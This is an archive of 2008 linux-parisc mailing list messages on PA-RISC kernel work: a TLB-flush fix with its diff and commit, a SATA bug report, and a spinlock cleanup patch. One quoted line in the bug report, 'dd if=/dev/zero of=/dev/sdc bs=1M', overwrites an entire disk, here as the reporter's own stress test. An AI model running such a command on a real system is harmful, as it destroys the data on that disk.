	with ESMTP id S1750900AbYLWCyZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 21:54:25 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LExPZ-0003Rr-SY; Tue, 23 Dec 2008 02:54:21 +0000
Content-Disposition: inline
In-Reply-To: <20081223023111.7D9D24EE8@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1028>

On Mon, Dec 22, 2008 at 09:31:10PM -0500, John David Anglin wrote:
> > Actually, it should bug more often.  This function:
> > flush_user_cache_page_non_current() is very rarely called (which is
> > hopefully why you don't see an increase in bugs).  However, this is a
> > kernel function ... if you call load_context() here, you'll get the user
> > protection IDs in the register and it will immediately fault when it
> > returns to the kernel.  All it should be doing (which is what it
> > currently does) is to set up sr3 to allow the kernel to poke into a user
> > address space, which is the design of the function.
> 
> As things stand, the call is fully inlined.  Nothing can be poked into
> the user address space without the protection ID register being correctly
> set.  The cache flushes can trigger a non-access tlb miss fault.  At
> the moment, I can't see how this function could cause a protection ID fault.
> However, it still seems good practice to set cr8 consistently when the
> user context is changed.
> 
> The kernel uses space register values of zero, so it shouldn't fault
> because of the change to sr3 and cr8 for non current.  The values are
> restored before flush_user_cache_page_non_current() exits.
> 

just fyi, jejb sleuthed out that it was flush_tlb_mm's non-SMP path
(which "flushes" the tlb by allocating a new spaceid) that was causing
the problem, and helge verified that it fixes the bug.

i'm confirming now with a make && make clean loop building ruby, if it
survives the night, i'll commit the patch tomorrow and push it to stable
until we have a clean(er) fix.

diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index b72ec66..1f6fd4f 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -44,9 +44,12 @@ static inline void flush_tlb_mm(struct mm_struct *mm)
 {
 	BUG_ON(mm == &init_mm); /* Should never happen */
 
-#ifdef CONFIG_SMP
+#if 1 || defined(CONFIG_SMP)
 	flush_tlb_all();
 #else
+	/* FIXME: currently broken, causing space id and protection ids
+	 *  to go out of sync, resulting in faults on userspace accesses.
+	 */
 	if (mm) {
 		if (mm->context != 0)
 			free_sid(mm->context);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Mon, 22 Dec 2008 22:15:27 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <20081223031528.54ADA4EE8@hiauly1.hia.nrc.ca>
References: <20081223025421.GF30144@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230002145 22368 80.91.229.12 (23 Dec 2008 03:15:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Dec 2008 03:15:45 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, deller@gmx.de,
	kyle@infradead.org, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 23 04:16:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LExlF-0001W9-F5
	for glpp-linux-parisc@gmane.org; Tue, 23 Dec 2008 04:16:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753012AbYLWDPa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 22:15:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753023AbYLWDPa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 22:15:30 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3387 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752877AbYLWDP3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 22:15:29 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 54ADA4EE8; Mon, 22 Dec 2008 22:15:28 -0500 (EST)
In-Reply-To: <20081223025421.GF30144@bombadil.infradead.org> from "Kyle McMartin" at Dec 22, 2008 09:54:21 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1029
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1029>

> just fyi, jejb sleuthed out that it was flush_tlb_mm's non-SMP path
> (which "flushes" the tlb by allocating a new spaceid) that was causing
> the problem, and helge verified that it fixes the bug.

That's great news!  I'd noticed this code tonight and wondered why it
wasn't loading cr25.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Tue, 23 Dec 2008 06:36:47 GMT
Lines: 21
Approved: news@gmane.org
Message-ID: <200812230636.mBN6alsB020758@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1230014220 12182 80.91.229.12 (23 Dec 2008 06:37:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Dec 2008 06:37:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 23 07:38:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LF0u5-0007jY-Tj
	for glpp-linux-parisc@gmane.org; Tue, 23 Dec 2008 07:38:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752001AbYLWGgu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Dec 2008 01:36:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752121AbYLWGgu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Dec 2008 01:36:50 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:45470 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752001AbYLWGgt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Dec 2008 01:36:49 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/5fx2CWJQHPeq/loU3why2gXcodCmbOTw@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id mBN6alXV020760
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 23 Dec 2008 06:36:47 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id mBN6alsB020758
	for linux-parisc@vger.kernel.org; Tue, 23 Dec 2008 06:36:47 GMT
X-Virus-Scanned: ClamAV 0.93.3/8793/Mon Dec 22 16:56:32 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=AWL,BAYES_00,
	UNPARSEABLE_RELAY autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 23 Dec 2008 06:36:49 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1030
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1030>

New commits:
commit 378fe7c4cc619b561409206605c723c05358edac
Author: Kyle McMartin <kyle@treachery.i.cabal.ca>
Date:   Mon Dec 22 21:59:01 2008 -0500

    parisc: disable UP-optimized flush_tlb_mm
    
    flush_tlb_mm's "optimized" uniprocessor case of allocating a new
    context for userspace is exposing a race where we can suddely return
    to a syscall with the protection id and space id out of sync, trapping
    on the next userspace access.
    
    Debugged-by: James Bottomley <James.Bottomley@HansenPartnership.com>
    Tested-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Tue, 23 Dec 2008 08:13:08 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <20081223131309.75E944EDD@hiauly1.hia.nrc.ca>
References: <20081223025421.GF30144@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230038007 8647 80.91.229.12 (23 Dec 2008 13:13:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Dec 2008 13:13:27 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, deller@gmx.de,
	kyle@infradead.org, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 23 14:14:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LF75f-0003Qf-Hw
	for glpp-linux-parisc@gmane.org; Tue, 23 Dec 2008 14:14:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750930AbYLWNNM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Dec 2008 08:13:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750984AbYLWNNM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Dec 2008 08:13:12 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3026 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750930AbYLWNNL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Dec 2008 08:13:11 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 75E944EDD; Tue, 23 Dec 2008 08:13:09 -0500 (EST)
In-Reply-To: <20081223025421.GF30144@bombadil.infradead.org> from "Kyle McMartin" at Dec 22, 2008 09:54:21 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1031
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1031>

> just fyi, jejb sleuthed out that it was flush_tlb_mm's non-SMP path
> (which "flushes" the tlb by allocating a new spaceid) that was causing
> the problem, and helge verified that it fixes the bug.

It seems this code can be called from drivers.  Maybe the context
update needs to be surrounded by task_lock(current)...task_unlock(current).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: disable UP-optimized flush_tlb_mm
Date: Tue, 23 Dec 2008 08:44:30 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <20081223134430.GG30144@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230039891 14714 80.91.229.12 (23 Dec 2008 13:44:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Dec 2008 13:44:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, stable@kernel.org, kyle@infradead.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 23 14:45:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LF7a1-0006cl-63
	for glpp-linux-parisc@gmane.org; Tue, 23 Dec 2008 14:45:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750896AbYLWNod (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Dec 2008 08:44:33 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751106AbYLWNod
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 23 Dec 2008 08:44:33 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37460 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750896AbYLWNod (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Dec 2008 08:44:33 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LF7Yk-0002EK-SV; Tue, 23 Dec 2008 13:44:30 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1032
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1032>

flush_tlb_mm's "optimized" uniprocessor case of allocating a new
context for userspace is exposing a race where we can suddely return
to a syscall with the protection id and space id out of sync, trapping
on the next userspace access.

Debugged-by: James Bottomley <James.Bottomley@HansenPartnership.com>
Tested-by: Helge Deller <deller@gmx.de>
Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
Linus, Greg, please apply to stable and HEAD, this is a fairly
important fix for parisc.

Thanks,
	Kyle

 arch/parisc/include/asm/tlbflush.h |    5 ++++-
 1 files changed, 4 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
index b72ec66..1f6fd4f 100644
--- a/arch/parisc/include/asm/tlbflush.h
+++ b/arch/parisc/include/asm/tlbflush.h
@@ -44,9 +44,12 @@ static inline void flush_tlb_mm(struct mm_struct *mm)
 {
 	BUG_ON(mm == &init_mm); /* Should never happen */
 
-#ifdef CONFIG_SMP
+#if 1 || defined(CONFIG_SMP)
 	flush_tlb_all();
 #else
+	/* FIXME: currently broken, causing space id and protection ids
+	 *  to go out of sync, resulting in faults on userspace accesses.
+	 */
 	if (mm) {
 		if (mm->context != 0)
 			free_sid(mm->context);
-- 
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Thu, 25 Dec 2008 01:06:06 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20081225080606.GA11032@colo.lackof.org>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be> <20081220221653.GA12880@bombadil.infradead.org> <20081220222100.GB12880@bombadil.infradead.org> <20081221081206.GC2047@colo.lackof.org> <20081222224023.2488f2ef@tuxicoman.be> <20081222214743.GC30144@bombadil.infradead.org> <20081222234948.776edb1b@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230192391 29674 80.91.229.12 (25 Dec 2008 08:06:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2008 08:06:31 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 25 09:07:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LFlFn-0003Dl-Ju
	for glpp-linux-parisc@gmane.org; Thu, 25 Dec 2008 09:07:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750912AbYLYIGU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Dec 2008 03:06:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750952AbYLYIGT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 25 Dec 2008 03:06:19 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:40333 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750912AbYLYIGT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Dec 2008 03:06:19 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0134029C08E;
	Thu, 25 Dec 2008 01:06:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08473-08; Thu, 25 Dec 2008 01:06:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9E7B729C037; Thu, 25 Dec 2008 01:06:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081222234948.776edb1b@tuxicoman.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1033
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1033>

On Mon, Dec 22, 2008 at 11:49:48PM +0100, Guy Martin wrote:
> The command "dd if=/dev/zero of=/dev/sdc bs=1M" didn't trigger HPMC
> anymore after a reasonable amount of time.
> 
> I then tried a NFS copy from a NFS share to the disk. The kernel did
> panic with the attached output.

[ 1589.466507] Badness at fs/buffer.c:1186

Technically, this isn't a panic. This is a "WARN_ON".
I didn't see any panic's after that either.

The file system warning us that the sata disk it was
talking failed an IO. 

However, this is likely to be some other issue with the SATA controller.
Can you post more details about the config?
o "lspci -v"
o hdparm -i /dev/sd<X>

I don't expect I'll know what's wrong, but just want to document the bug.

thanks,
grant


> Hopefully this will be more useful.
> 
>   Guy
> 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <julia@diku.dk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: [PATCH 1/7] arch/parisc: Use DEFINE_SPINLOCK
Date: Thu, 25 Dec 2008 15:33:11 +0100 (CET)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0812251532430.22039@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230215608 8974 80.91.229.12 (25 Dec 2008 14:33:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2008 14:33:28 +0000 (UTC)
To: kyle@mcmartin.ca, matthew@wil.cx, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 25 15:34:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LFrIH-0003MA-Js
	for glpp-linux-parisc@gmane.org; Thu, 25 Dec 2008 15:34:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751712AbYLYOdR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Dec 2008 09:33:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751817AbYLYOdR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 25 Dec 2008 09:33:17 -0500
Original-Received: from mgw2.diku.dk ([130.225.96.92]:51756 "EHLO mgw2.diku.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751712AbYLYOdQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Dec 2008 09:33:16 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by mgw2.diku.dk (Postfix) with ESMTP id 4340B19BC24;
	Thu, 25 Dec 2008 15:33:14 +0100 (CET)
Original-Received: from mgw2.diku.dk ([127.0.0.1])
 by localhost (mgw2.diku.dk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
 id 16061-04; Thu, 25 Dec 2008 15:33:11 +0100 (CET)
Original-Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140])
	by mgw2.diku.dk (Postfix) with ESMTP id BD7DE19BBCB;
	Thu, 25 Dec 2008 15:33:11 +0100 (CET)
Original-Received: from ask.diku.dk (ask.diku.dk [130.225.96.225])
	by nhugin.diku.dk (Postfix) with ESMTP
	id 37A3E6DF823; Thu, 25 Dec 2008 15:32:31 +0100 (CET)
Original-Received: by ask.diku.dk (Postfix, from userid 3767)
	id A7645272B59; Thu, 25 Dec 2008 15:33:11 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by ask.diku.dk (Postfix) with ESMTP id A681A272B53;
	Thu, 25 Dec 2008 15:33:11 +0100 (CET)
X-Virus-Scanned: amavisd-new at diku.dk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1034 gmane.linux.kernel:772468 gmane.linux.kernel.janitors:16150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1034>

From: Julia Lawall <julia@diku.dk>

SPIN_LOCK_UNLOCKED is deprecated.  The following makes the change suggested
in Documentation/spinlocks.txt

The semantic patch that makes this change is as follows:
(http://www.emn.fr/x-info/coccinelle/)

// <smpl>
@@
declarer name DEFINE_SPINLOCK;
identifier xxx_lock;
@@

- spinlock_t xxx_lock = SPIN_LOCK_UNLOCKED;
+ DEFINE_SPINLOCK(xxx_lock);
// </smpl>

Signed-off-by: Julia Lawall <julia@diku.dk>

---
diff -u -p a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -52,7 +52,7 @@
 #include <linux/tty.h>
 #include <asm/pdc.h>		/* for iodc_call() proto and friends */
 
-static spinlock_t pdc_console_lock = SPIN_LOCK_UNLOCKED;
+static DEFINE_SPINLOCK(pdc_console_lock);
 
 static void pdc_console_write(struct console *co, const char *s, unsigned count)
 {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add uevent helper for parisc bus
Date: Thu, 25 Dec 2008 16:04:00 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <200812251604.10227.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1230220022 17796 80.91.229.12 (25 Dec 2008 15:47:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Dec 2008 15:47:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	Kyle Mc Martin <kyle@hera.kernel.org>,
	Frans Pop <elendil@planet.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 25 16:48:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LFsRZ-0006sg-8Y
	for glpp-linux-parisc@gmane.org; Thu, 25 Dec 2008 16:48:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751938AbYLYPq5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Dec 2008 10:46:57 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751950AbYLYPq5
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 25 Dec 2008 10:46:57 -0500
Original-Received: from mnhm-590e05be.pool.einsundeins.de ([89.14.5.190]:37378 "EHLO
	localhost.localdomain" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751938AbYLYPq4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Dec 2008 10:46:56 -0500
X-Greylist: delayed 2556 seconds by postgrey-1.27 at vger.kernel.org; Thu, 25 Dec 2008 10:46:56 EST
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by localhost.localdomain (8.14.3/8.14.3) with ESMTP id mBPF4BSQ011049;
	Thu, 25 Dec 2008 16:04:11 +0100
Original-Received: (from deller@localhost)
	by localhost.localdomain (8.14.3/8.14.3/Submit) id mBPF4APU011047;
	Thu, 25 Dec 2008 16:04:10 +0100
X-Authentication-Warning: localhost.localdomain: deller set sender to deller@gmx.de using -f
User-Agent: KMail/1.10.3 (Linux/2.6.27.7-134.fc10.i686; KDE/4.1.3; i686; ; )
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1035
